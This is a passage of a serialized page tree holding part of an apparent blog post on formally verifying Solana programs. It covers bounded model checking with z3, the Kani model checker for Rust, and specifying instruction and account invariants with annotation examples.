branch:\n",{"type":24,"tag":930,"props":22689,"children":22690},{"class":932,"line":1131},[22691,22696,22700],{"type":24,"tag":930,"props":22692,"children":22693},{"style":959},[22694],{"type":30,"value":22695},"s ",{"type":24,"tag":930,"props":22697,"children":22698},{"style":1158},[22699],{"type":30,"value":1161},{"type":24,"tag":930,"props":22701,"children":22702},{"style":959},[22703],{"type":30,"value":22704}," Solver()\n",{"type":24,"tag":930,"props":22706,"children":22707},{"class":932,"line":1144},[22708,22713,22717,22721,22725,22729],{"type":24,"tag":930,"props":22709,"children":22710},{"style":959},[22711],{"type":30,"value":22712},"s.add(y ",{"type":24,"tag":930,"props":22714,"children":22715},{"style":1158},[22716],{"type":30,"value":1239},{"type":24,"tag":930,"props":22718,"children":22719},{"style":959},[22720],{"type":30,"value":22192},{"type":24,"tag":930,"props":22722,"children":22723},{"style":1158},[22724],{"type":30,"value":1400},{"type":24,"tag":930,"props":22726,"children":22727},{"style":1242},[22728],{"type":30,"value":22201},{"type":24,"tag":930,"props":22730,"children":22731},{"style":959},[22732],{"type":30,"value":1054},{"type":24,"tag":930,"props":22734,"children":22735},{"class":932,"line":1169},[22736,22740,22744,22748],{"type":24,"tag":930,"props":22737,"children":22738},{"style":959},[22739],{"type":30,"value":22712},{"type":24,"tag":930,"props":22741,"children":22742},{"style":1158},[22743],{"type":30,"value":2261},{"type":24,"tag":930,"props":22745,"children":22746},{"style":1242},[22747],{"type":30,"value":22238},{"type":24,"tag":930,"props":22749,"children":22750},{"style":959},[22751],{"type":30,"value":1054},{"type":24,"tag":930,"props":22753,"children":22754},{"class":932,"line":1191},[22755,22760,22764,22768,22772,22776],{"type":24,"tag":930,"props":22756,"children":22757},{"style":959},[22758],{"type":30,"value":22759},"s.add(z ",{"type":24,"tag":930,"props":22761,"children":22762},{"style":1158},[22763],{"type":30,"value":1239},{"type":24,"tag":930,"props":22765,"children":22766},{"style":959},[22767],{"type":30,"value":7628},{"type":24,"tag":930,"props":22769,"children":22770},{"style":1158},[22771],{"type":30,"value":1410},{"type":24,"tag":930,"props":22773,"children":22774},{"style":1242},[22775],{"type":30,"value":11044},{"type":24,"tag":930,"props":22777,"children":22778},{"style":959},[22779],{"type":30,"value":1054},{"type":24,"tag":930,"props":22781,"children":22782},{"class":932,"line":1223},[22783],{"type":24,"tag":930,"props":22784,"children":22785},{"emptyLinePlaceholder":16},[22786],{"type":30,"value":2412},{"type":24,"tag":930,"props":22788,"children":22789},{"class":932,"line":1281},[22790],{"type":24,"tag":930,"props":22791,"children":22792},{"style":1422},[22793],{"type":30,"value":22794},"# check if we can violate the correctness property\n",{"type":24,"tag":930,"props":22796,"children":22797},{"class":932,"line":1313},[22798,22803,22807,22811],{"type":24,"tag":930,"props":22799,"children":22800},{"style":959},[22801],{"type":30,"value":22802},"s.add(Not(z ",{"type":24,"tag":930,"props":22804,"children":22805},{"style":1158},[22806],{"type":30,"value":4681},{"type":24,"tag":930,"props":22808,"children":22809},{"style":1242},[22810],{"type":30,"value":22356},{"type":24,"tag":930,"props":22812,"children":22813},{"style":959},[22814],{"type":30,"value":22815},"))\n",{"type":24,"tag":930,"props":22817,"children":22818},{"class":932,"line":1335},[22819,22824,22829],{"type":24,"tag":930,"props":22820,"children":22821},{"style":1002},[22822],{"type":30,"value":22823},"print",{"type":24,"tag":930,"props":22825,"children":22826},{"style":959},[22827],{"type":30,"value":22828},"(s.check()) ",{"type":24,"tag":930,"props":22830,"children":22831},{"style":1422},[22832],{"type":30,"value":22833},"# \"unsat\"\n",{"type":24,"tag":930,"props":22835,"children":22836},{"class":932,"line":1376},[22837],{"type":24,"tag":930,"props":22838,"children":22839},{"emptyLinePlaceholder":16},[22840],{"type":30,"value":2412},{"type":24,"tag":930,"props":22842,"children":22843},{"class":932,"line":1418},[22844],{"type":24,"tag":930,"props":22845,"children":22846},{"style":1422},[22847],{"type":30,"value":22848},"# Negative branch:\n",{"type":24,"tag":930,"props":22850,"children":22851},{"class":932,"line":1438},[22852,22856,22860],{"type":24,"tag":930,"props":22853,"children":22854},{"style":959},[22855],{"type":30,"value":22695},{"type":24,"tag":930,"props":22857,"children":22858},{"style":1158},[22859],{"type":30,"value":1161},{"type":24,"tag":930,"props":22861,"children":22862},{"style":959},[22863],{"type":30,"value":22704},{"type":24,"tag":930,"props":22865,"children":22866},{"class":932,"line":1479},[22867,22871,22875,22879,22883,22887],{"type":24,"tag":930,"props":22868,"children":22869},{"style":959},[22870],{"type":30,"value":22712},{"type":24,"tag":930,"props":22872,"children":22873},{"style":1158},[22874],{"type":30,"value":1239},{"type":24,"tag":930,"props":22876,"children":22877},{"style":959},[22878],{"type":30,"value":22192},{"type":24,"tag":930,"props":22880,"children":22881},{"style":1158},[22882],{"type":30,"value":1400},{"type":24,"tag":930,"props":22884,"children":22885},{"style":1242},[22886],{"type":30,"value":22201},{"type":24,"tag":930,"props":22888,"children":22889},{"style":959},[22890],{"type":30,"value":1054},{"type":24,"tag":930,"props":22892,"children":22893},{"class":932,"line":1506},[22894,22898,22902,22906],{"type":24,"tag":930,"props":22895,"children":22896},{"style":959},[22897],{"type":30,"value":22712},{"type":24,"tag":930,"props":22899,"children":22900},{"style":1158},[22901],{"type":30,"value":22517},{"type":24,"tag":930,"props":22903,"children":22904},{"style":1242},[22905],{"type":30,"value":22238},{"type":24,"tag":930,"props":22907,"children":22908},{"style":959},[22909],{"type":30,"value":1054},{"type":24,"tag":930,"props":22911,"children":22912},{"class":932,"line":1525},[22913,22917,22921,22925,22929,22933],{"type":24,"tag":930,"props":22914,"children":22915},{"style":959},[22916],{"type":30,"value":22759},{"type":24,"tag":930,"props":22918,"children":22919},{"style":1158},[22920],{"type":30,"value":1239},{"type":24,"tag":930,"props":22922,"children":22923},{"style":959},[22924],{"type":30,"value":7628},{"type":24,"tag":930,"props":22926,"children":22927},{"style":1158},[22928],{"type":30,"value":1400},{"type":24,"tag":930,"props":22930,"children":22931},{"style":1242},[22932],{"type":30,"value":7637},{"type":24,"tag":930,"props":22934,"children":22935},{"style":959},[22936],{"type":30,"value":1054},{"type":24,"tag":930,"props":22938,"children":22939},{"class":932,"line":1569},[22940],{"type":24,"tag":930,"props":22941,"children":22942},{"emptyLinePlaceholder":16},[22943],{"type":30,"value":2412},{"type":24,"tag":930,"props":22945,"children":22946},{"class":932,"line":1592},[22947],{"type":24,"tag":930,"props":22948,"children":22949},{"style":1422},[22950],{"type":30,"value":22794},{"type":24,"tag":930,"props":22952,"children":22953},{"class":932,"line":1610},[22954,22958,22962,22966],{"type":24,"tag":930,"props":22955,"children":22956},{"style":959},[22957],{"type":30,"value":22802},{"type":24,"tag":930,"props":22959,"children":22960},{"style":1158},[22961],{"type":30,"value":4681},{"type":24,"tag":930,"props":22963,"children":22964},{"style":1242},[22965],{"type":30,"value":22356},{"type":24,"tag":930,"props":22967,"children":22968},{"style":959},[22969],{"type":30,"value":22815},{"type":24,"tag":930,"props":22971,"children":22972},{"class":932,"line":1628},[22973,22977,22981],{"type":24,"tag":930,"props":22974,"children":22975},{"style":1002},[22976],{"type":30,"value":22823},{"type":24,"tag":930,"props":22978,"children":22979},{"style":959},[22980],{"type":30,"value":22828},{"type":24,"tag":930,"props":22982,"children":22983},{"style":1422},[22984],{"type":30,"value":22833},{"type":24,"tag":33,"props":22986,"children":22987},{},[22988,22990,22996,22998,23003],{"type":30,"value":22989},"Both of these cases return ",{"type":24,"tag":156,"props":22991,"children":22993},{"className":22992},[],[22994],{"type":30,"value":22995},"unsat",{"type":30,"value":22997}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":6032,"props":22999,"children":23000},{},[23001],{"type":30,"value":23002},"correct",{"type":30,"value":23004}," according to this property.",{"type":24,"tag":151,"props":23006,"children":23008},{"id":23007},"loop-bounds-path-explosion",[23009],{"type":30,"value":23010},"Loop bounds & path explosion",{"type":24,"tag":33,"props":23012,"children":23013},{},[23014,23016,23021,23023,23028],{"type":30,"value":23015},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":6032,"props":23017,"children":23018},{},[23019],{"type":30,"value":23020},"every",{"type":30,"value":23022}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":6032,"props":23024,"children":23025},{},[23026],{"type":30,"value":23027},"infinite",{"type":30,"value":23029}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":33,"props":23031,"children":23032},{},[23033],{"type":30,"value":23034},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":33,"props":23036,"children":23037},{},[23038],{"type":30,"value":23039},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":33,"props":23041,"children":23042},{},[23043],{"type":30,"value":23044},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":151,"props":23046,"children":23048},{"id":23047},"kani-model-checker",[23049],{"type":30,"value":23050},"Kani Model Checker",{"type":24,"tag":33,"props":23052,"children":23053},{},[23054,23056,23061],{"type":30,"value":23055},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":37,"props":23057,"children":23059},{"href":21949,"rel":23058},[41],[23060],{"type":30,"value":21953},{"type":30,"value":23062},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":33,"props":23064,"children":23065},{},[23066,23068,23073,23075,23081,23082,23088,23090,23096],{"type":30,"value":23067},"Kani allows you to write ",{"type":24,"tag":6032,"props":23069,"children":23070},{},[23071],{"type":30,"value":23072},"proof harnesses",{"type":30,"value":23074}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":156,"props":23076,"children":23078},{"className":23077},[],[23079],{"type":30,"value":23080},"assume",{"type":30,"value":211},{"type":24,"tag":156,"props":23083,"children":23085},{"className":23084},[],[23086],{"type":30,"value":23087},"assert",{"type":30,"value":23089}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":156,"props":23091,"children":23093},{"className":23092},[],[23094],{"type":30,"value":23095},"cargo kani",{"type":30,"value":23097}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":68,"props":23099,"children":23101},{"id":23100},"specification-how-can-we-describe-what-we-want-our-program-to-do",[23102,23104,23108],{"type":30,"value":23103},"Specification: How can we describe what we ",{"type":24,"tag":6032,"props":23105,"children":23106},{},[23107],{"type":30,"value":22023},{"type":30,"value":22025},{"type":24,"tag":33,"props":23110,"children":23111},{},[23112],{"type":24,"tag":6032,"props":23113,"children":23114},{},[23115],{"type":24,"tag":275,"props":23116,"children":23117},{},[23118],{"type":30,"value":23119},"And what even do we want it to do?",{"type":24,"tag":33,"props":23121,"children":23122},{},[23123,23125,23130],{"type":30,"value":23124},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":6032,"props":23126,"children":23127},{},[23128],{"type":30,"value":23129},"specifying",{"type":30,"value":23131}," what the \"correct\" behavior should be.",{"type":24,"tag":33,"props":23133,"children":23134},{},[23135],{"type":30,"value":23136},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":96,"props":23138,"children":23139},{},[23140,23152,23164],{"type":24,"tag":100,"props":23141,"children":23142},{},[23143,23145,23150],{"type":30,"value":23144},"\"It should not be possible to ",{"type":24,"tag":275,"props":23146,"children":23147},{},[23148],{"type":30,"value":23149},"steal money",{"type":30,"value":23151}," via a swap program\"",{"type":24,"tag":100,"props":23153,"children":23154},{},[23155,23157,23162],{"type":30,"value":23156},"\"A multisig should never get into a state where you ",{"type":24,"tag":275,"props":23158,"children":23159},{},[23160],{"type":30,"value":23161},"can't sign anything",{"type":30,"value":23163},"\"",{"type":24,"tag":100,"props":23165,"children":23166},{},[23167],{"type":30,"value":23168},"\"User funds in a staking protocol \"",{"type":24,"tag":33,"props":23170,"children":23171},{},[23172,23174,23184,23186,23191],{"type":30,"value":23173},"These are types of properties you can tell your ",{"type":24,"tag":37,"props":23175,"children":23178},{"href":23176,"rel":23177},"https://osec.io/",[41],[23179],{"type":24,"tag":6032,"props":23180,"children":23181},{},[23182],{"type":30,"value":23183},"human auditors",{"type":30,"value":23185}," but these English phrases are not particularly useful for ",{"type":24,"tag":6032,"props":23187,"children":23188},{},[23189],{"type":30,"value":23190},"automated verification techniques",{"type":30,"value":23192}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":33,"props":23194,"children":23195},{},[23196,23198,23203,23205,23210],{"type":30,"value":23197},"Instead, we need to be able to specify ",{"type":24,"tag":6032,"props":23199,"children":23200},{},[23201],{"type":30,"value":23202},"in code",{"type":30,"value":23204}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":156,"props":23206,"children":23208},{"className":23207},[],[23209],{"type":30,"value":23087},{"type":30,"value":23211}," statement.",{"type":24,"tag":151,"props":23213,"children":23215},{"id":23214},"solana-invariants",[23216],{"type":30,"value":23217},"Solana Invariants",{"type":24,"tag":33,"props":23219,"children":23220},{},[23221,23223,23228,23229,23234],{"type":30,"value":23222},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":275,"props":23224,"children":23225},{},[23226],{"type":30,"value":23227},"instruction invariants",{"type":30,"value":211},{"type":24,"tag":275,"props":23230,"children":23231},{},[23232],{"type":30,"value":23233},"account invariants",{"type":30,"value":436},{"type":24,"tag":21995,"props":23236,"children":23238},{"id":23237},"instruction-invariant",[23239],{"type":30,"value":23240},"Instruction Invariant",{"type":24,"tag":33,"props":23242,"children":23243},{},[23244,23246,23251,23253,23259,23260,23266],{"type":30,"value":23245},"An ",{"type":24,"tag":275,"props":23247,"children":23248},{},[23249],{"type":30,"value":23250},"instruction invariant",{"type":30,"value":23252}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":156,"props":23254,"children":23256},{"className":23255},[],[23257],{"type":30,"value":23258},"succeeds_if",{"type":30,"value":16241},{"type":24,"tag":156,"props":23261,"children":23263},{"className":23262},[],[23264],{"type":30,"value":23265},"errors_if",{"type":30,"value":23267}," macro annotations on the instruction handler.",{"type":24,"tag":33,"props":23269,"children":23270},{},[23271],{"type":30,"value":23272},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":33,"props":23274,"children":23275},{},[23276,23278,23284,23286,23291],{"type":30,"value":23277},"For example, say we have a ",{"type":24,"tag":156,"props":23279,"children":23281},{"className":23280},[],[23282],{"type":30,"value":23283},"Withdraw",{"type":30,"value":23285}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":6032,"props":23287,"children":23288},{},[23289],{"type":30,"value":23290},"more",{"type":30,"value":23292}," tokens than their current balance.",{"type":24,"tag":33,"props":23294,"children":23295},{},[23296,23298,23303],{"type":30,"value":23297},"Using our tool, you could specify the following ",{"type":24,"tag":156,"props":23299,"children":23301},{"className":23300},[],[23302],{"type":30,"value":23265},{"type":30,"value":23304}," property on your instruction handler:",{"type":24,"tag":920,"props":23306,"children":23308},{"code":23307,"language":6101,"meta":7,"className":6102,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[23309],{"type":24,"tag":156,"props":23310,"children":23311},{"__ignoreMap":7},[23312,23320,23355,23363,23436,23444],{"type":24,"tag":930,"props":23313,"children":23314},{"class":932,"line":933},[23315],{"type":24,"tag":930,"props":23316,"children":23317},{"style":959},[23318],{"type":30,"value":23319},"#[errors_if(\n",{"type":24,"tag":930,"props":23321,"children":23322},{"class":932,"line":984},[23323,23328,23332,23337,23341,23346,23350],{"type":24,"tag":930,"props":23324,"children":23325},{"style":959},[23326],{"type":30,"value":23327},"    ctx",{"type":24,"tag":930,"props":23329,"children":23330},{"style":1158},[23331],{"type":30,"value":436},{"type":24,"tag":930,"props":23333,"children":23334},{"style":959},[23335],{"type":30,"value":23336},"user",{"type":24,"tag":930,"props":23338,"children":23339},{"style":1158},[23340],{"type":30,"value":436},{"type":24,"tag":930,"props":23342,"children":23343},{"style":959},[23344],{"type":30,"value":23345},"balance ",{"type":24,"tag":930,"props":23347,"children":23348},{"style":1158},[23349],{"type":30,"value":1350},{"type":24,"tag":930,"props":23351,"children":23352},{"style":959},[23353],{"type":30,"value":23354}," amount\n",{"type":24,"tag":930,"props":23356,"children":23357},{"class":932,"line":993},[23358],{"type":24,"tag":930,"props":23359,"children":23360},{"style":959},[23361],{"type":30,"value":23362},")]\n",{"type":24,"tag":930,"props":23364,"children":23365},{"class":932,"line":1057},[23366,23371,23376,23380,23385,23389,23394,23398,23402,23406,23411,23415,23419,23423,23427,23431],{"type":24,"tag":930,"props":23367,"children":23368},{"style":937},[23369],{"type":30,"value":23370},"fn",{"type":24,"tag":930,"props":23372,"children":23373},{"style":1002},[23374],{"type":30,"value":23375}," withdraw",{"type":24,"tag":930,"props":23377,"children":23378},{"style":959},[23379],{"type":30,"value":1010},{"type":24,"tag":930,"props":23381,"children":23382},{"style":1023},[23383],{"type":30,"value":23384},"ctx",{"type":24,"tag":930,"props":23386,"children":23387},{"style":1158},[23388],{"type":30,"value":476},{"type":24,"tag":930,"props":23390,"children":23391},{"style":943},[23392],{"type":30,"value":23393}," Context",{"type":24,"tag":930,"props":23395,"children":23396},{"style":959},[23397],{"type":30,"value":1350},{"type":24,"tag":930,"props":23399,"children":23400},{"style":943},[23401],{"type":30,"value":23283},{"type":24,"tag":930,"props":23403,"children":23404},{"style":959},[23405],{"type":30,"value":9742},{"type":24,"tag":930,"props":23407,"children":23408},{"style":1023},[23409],{"type":30,"value":23410},"amount",{"type":24,"tag":930,"props":23412,"children":23413},{"style":1158},[23414],{"type":30,"value":476},{"type":24,"tag":930,"props":23416,"children":23417},{"style":943},[23418],{"type":30,"value":8972},{"type":24,"tag":930,"props":23420,"children":23421},{"style":959},[23422],{"type":30,"value":5579},{"type":24,"tag":930,"props":23424,"children":23425},{"style":1158},[23426],{"type":30,"value":16864},{"type":24,"tag":930,"props":23428,"children":23429},{"style":943},[23430],{"type":30,"value":16869},{"type":24,"tag":930,"props":23432,"children":23433},{"style":959},[23434],{"type":30,"value":23435},"\u003C()> {\n",{"type":24,"tag":930,"props":23437,"children":23438},{"class":932,"line":1066},[23439],{"type":24,"tag":930,"props":23440,"children":23441},{"style":1158},[23442],{"type":30,"value":23443},"    ...\n",{"type":24,"tag":930,"props":23445,"children":23446},{"class":932,"line":1075},[23447],{"type":24,"tag":930,"props":23448,"children":23449},{"style":959},[23450],{"type":30,"value":2528},{"type":24,"tag":6054,"props":23452,"children":23453},{},[23454],{"type":24,"tag":33,"props":23455,"children":23456},{},[23457,23458,23463,23465,23470,23472,23477],{"type":30,"value":259},{"type":24,"tag":156,"props":23459,"children":23461},{"className":23460},[],[23462],{"type":30,"value":23265},{"type":30,"value":23464}," expression specifies ",{"type":24,"tag":6032,"props":23466,"children":23467},{},[23468],{"type":30,"value":23469},"succifient",{"type":30,"value":23471}," but not ",{"type":24,"tag":6032,"props":23473,"children":23474},{},[23475],{"type":30,"value":23476},"necessary",{"type":30,"value":23478}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":21895,"props":23480,"children":23481},{},[],{"type":24,"tag":33,"props":23483,"children":23484},{},[23485,23487,23492],{"type":30,"value":23486},"Another example is that for ",{"type":24,"tag":6032,"props":23488,"children":23489},{},[23490],{"type":30,"value":23491},"crank",{"type":30,"value":23493}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":920,"props":23495,"children":23497},{"code":23496,"language":6101,"meta":7,"className":6102,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[23498],{"type":24,"tag":156,"props":23499,"children":23500},{"__ignoreMap":7},[23501,23509,23563,23570],{"type":24,"tag":930,"props":23502,"children":23503},{"class":932,"line":933},[23504],{"type":24,"tag":930,"props":23505,"children":23506},{"style":959},[23507],{"type":30,"value":23508},"#[succeeds_if(true)]\n",{"type":24,"tag":930,"props":23510,"children":23511},{"class":932,"line":984},[23512,23516,23521,23525,23529,23533,23537,23541,23546,23551,23555,23559],{"type":24,"tag":930,"props":23513,"children":23514},{"style":937},[23515],{"type":30,"value":23370},{"type":24,"tag":930,"props":23517,"children":23518},{"style":1002},[23519],{"type":30,"value":23520}," my_crank",{"type":24,"tag":930,"props":23522,"children":23523},{"style":959},[23524],{"type":30,"value":1010},{"type":24,"tag":930,"props":23526,"children":23527},{"style":1023},[23528],{"type":30,"value":23384},{"type":24,"tag":930,"props":23530,"children":23531},{"style":1158},[23532],{"type":30,"value":476},{"type":24,"tag":930,"props":23534,"children":23535},{"style":943},[23536],{"type":30,"value":23393},{"type":24,"tag":930,"props":23538,"children":23539},{"style":959},[23540],{"type":30,"value":1350},{"type":24,"tag":930,"props":23542,"children":23543},{"style":943},[23544],{"type":30,"value":23545},"Crank",{"type":24,"tag":930,"props":23547,"children":23548},{"style":959},[23549],{"type":30,"value":23550},">) ",{"type":24,"tag":930,"props":23552,"children":23553},{"style":1158},[23554],{"type":30,"value":16864},{"type":24,"tag":930,"props":23556,"children":23557},{"style":943},[23558],{"type":30,"value":16869},{"type":24,"tag":930,"props":23560,"children":23561},{"style":959},[23562],{"type":30,"value":23435},{"type":24,"tag":930,"props":23564,"children":23565},{"class":932,"line":993},[23566],{"type":24,"tag":930,"props":23567,"children":23568},{"style":1158},[23569],{"type":30,"value":23443},{"type":24,"tag":930,"props":23571,"children":23572},{"class":932,"line":1057},[23573],{"type":24,"tag":930,"props":23574,"children":23575},{"style":959},[23576],{"type":30,"value":2528},{"type":24,"tag":33,"props":23578,"children":23579},{},[23580,23582,23586,23588,23594],{"type":30,"value":23581},"With this invariant, you could prove that the function ",{"type":24,"tag":6032,"props":23583,"children":23584},{},[23585],{"type":30,"value":16201},{"type":30,"value":23587}," returns ",{"type":24,"tag":156,"props":23589,"children":23591},{"className":23590},[],[23592],{"type":30,"value":23593},"Ok",{"type":30,"value":23595},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":21895,"props":23597,"children":23598},{},[],{"type":24,"tag":33,"props":23600,"children":23601},{},[23602,23604,23609,23610,23615,23617,23622,23624,23629,23631,23636],{"type":30,"value":23603},"Note that ",{"type":24,"tag":156,"props":23605,"children":23607},{"className":23606},[],[23608],{"type":30,"value":23258},{"type":30,"value":211},{"type":24,"tag":156,"props":23611,"children":23613},{"className":23612},[],[23614],{"type":30,"value":23265},{"type":30,"value":23616}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":156,"props":23618,"children":23620},{"className":23619},[],[23621],{"type":30,"value":23258},{"type":30,"value":23623}," is not satisfied and a function may fail even if ",{"type":24,"tag":156,"props":23625,"children":23627},{"className":23626},[],[23628],{"type":30,"value":23265},{"type":30,"value":23630}," is not satisfied. If you want to prove the ",{"type":24,"tag":6032,"props":23632,"children":23633},{},[23634],{"type":30,"value":23635},"exact condition",{"type":30,"value":23637}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":920,"props":23639,"children":23641},{"code":23640,"language":6101,"meta":7,"className":6102,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[23642],{"type":24,"tag":156,"props":23643,"children":23644},{"__ignoreMap":7},[23645,23689,23696,23713,23738,23790,23797],{"type":24,"tag":930,"props":23646,"children":23647},{"class":932,"line":933},[23648,23652,23657,23661,23665,23669,23673,23677,23681,23685],{"type":24,"tag":930,"props":23649,"children":23650},{"style":937},[23651],{"type":30,"value":23370},{"type":24,"tag":930,"props":23653,"children":23654},{"style":1002},[23655],{"type":30,"value":23656}," my_invariant",{"type":24,"tag":930,"props":23658,"children":23659},{"style":959},[23660],{"type":30,"value":1010},{"type":24,"tag":930,"props":23662,"children":23663},{"style":1158},[23664],{"type":30,"value":12699},{"type":24,"tag":930,"props":23666,"children":23667},{"style":959},[23668],{"type":30,"value":5579},{"type":24,"tag":930,"props":23670,"children":23671},{"style":1158},[23672],{"type":30,"value":16864},{"type":24,"tag":930,"props":23674,"children":23675},{"style":943},[23676],{"type":30,"value":15157},{"type":24,"tag":930,"props":23678,"children":23679},{"style":959},[23680],{"type":30,"value":12694},{"type":24,"tag":930,"props":23682,"children":23683},{"style":1158},[23684],{"type":30,"value":12699},{"type":24,"tag":930,"props":23686,"children":23687},{"style":959},[23688],{"type":30,"value":12704},{"type":24,"tag":930,"props":23690,"children":23691},{"class":932,"line":984},[23692],{"type":24,"tag":930,"props":23693,"children":23694},{"emptyLinePlaceholder":16},[23695],{"type":30,"value":2412},{"type":24,"tag":930,"props":23697,"children":23698},{"class":932,"line":993},[23699,23704,23708],{"type":24,"tag":930,"props":23700,"children":23701},{"style":959},[23702],{"type":30,"value":23703},"#[succeeds_if(my_invariant(",{"type":24,"tag":930,"props":23705,"children":23706},{"style":1158},[23707],{"type":30,"value":12699},{"type":24,"tag":930,"props":23709,"children":23710},{"style":959},[23711],{"type":30,"value":23712},"))]\n",{"type":24,"tag":930,"props":23714,"children":23715},{"class":932,"line":1057},[23716,23721,23725,23730,23734],{"type":24,"tag":930,"props":23717,"children":23718},{"style":959},[23719],{"type":30,"value":23720},"#[errors_if(",{"type":24,"tag":930,"props":23722,"children":23723},{"style":1158},[23724],{"type":30,"value":3299},{"type":24,"tag":930,"props":23726,"children":23727},{"style":959},[23728],{"type":30,"value":23729},"my_invariant(",{"type":24,"tag":930,"props":23731,"children":23732},{"style":1158},[23733],{"type":30,"value":12699},{"type":24,"tag":930,"props":23735,"children":23736},{"style":959},[23737],{"type":30,"value":23712},{"type":24,"tag":930,"props":23739,"children":23740},{"class":932,"line":1066},[23741,23745,23750,23754,23758,23762,23766,23770,23774,23778,23782,23786],{"type":24,"tag":930,"props":23742,"children":23743},{"style":937},[23744],{"type":30,"value":23370},{"type":24,"tag":930,"props":23746,"children":23747},{"style":1002},[23748],{"type":30,"value":23749}," my_instruction",{"type":24,"tag":930,"props":23751,"children":23752},{"style":959},[23753],{"type":30,"value":1010},{"type":24,"tag":930,"props":23755,"children":23756},{"style":1023},[23757],{"type":30,"value":23384},{"type":24,"tag":930,"props":23759,"children":23760},{"style":1158},[23761],{"type":30,"value":476},{"type":24,"tag":930,"props":23763,"children":23764},{"style":943},[23765],{"type":30,"value":23393},{"type":24,"tag":930,"props":23767,"children":23768},{"style":959},[23769],{"type":30,"value":1350},{"type":24,"tag":930,"props":23771,"children":23772},{"style":1158},[23773],{"type":30,"value":12699},{"type":24,"tag":930,"props":23775,"children":23776},{"style":959},[23777],{"type":30,"value":23550},{"type":24,"tag":930,"props":23779,"children":23780},{"style":1158},[23781],{"type":30,"value":16864},{"type":24,"tag":930,"props":23783,"children":23784},{"style":943},[23785],{"type":30,"value":16869},{"type":24,"tag":930,"props":23787,"children":23788},{"style":959},[23789],{"type":30,"value":23435},{"type":24,"tag":930,"props":23791,"children":23792},{"class":932,"line":1075},[23793],{"type":24,"tag":930,"props":23794,"children":23795},{"style":1158},[23796],{"type":30,"value":23443},{"type":24,"tag":930,"props":23798,"children":23799},{"class":932,"line":1122},[23800],{"type":24,"tag":930,"props":23801,"children":23802},{"style":959},[23803],{"type":30,"value":2528},{"type":24,"tag":33,"props":23805,"children":23806},{},[23807],{"type":30,"value":23808},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":21995,"props":23810,"children":23812},{"id":23811},"account-invariants",[23813],{"type":30,"value":23814},"Account Invariants",{"type":24,"tag":33,"props":23816,"children":23817},{},[23818,23820,23825],{"type":30,"value":23819},"The other type of invariant is an ",{"type":24,"tag":275,"props":23821,"children":23822},{},[23823],{"type":30,"value":23824},"Account Invariant",{"type":30,"value":23826},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":33,"props":23828,"children":23829},{},[23830,23832,23837,23838,23844],{"type":30,"value":23831},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":156,"props":23833,"children":23835},{"className":23834},[],[23836],{"type":30,"value":6839},{"type":30,"value":16241},{"type":24,"tag":156,"props":23839,"children":23841},{"className":23840},[],[23842],{"type":30,"value":23843},"init",{"type":30,"value":2716},{"type":24,"tag":33,"props":23846,"children":23847},{},[23848,23850,23856],{"type":30,"value":23849},"For example, given a mock ",{"type":24,"tag":156,"props":23851,"children":23853},{"className":23852},[],[23854],{"type":30,"value":23855},"UserStatement",{"type":30,"value":23857}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":920,"props":23859,"children":23861},{"code":23860,"language":6101,"meta":7,"className":6102,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: 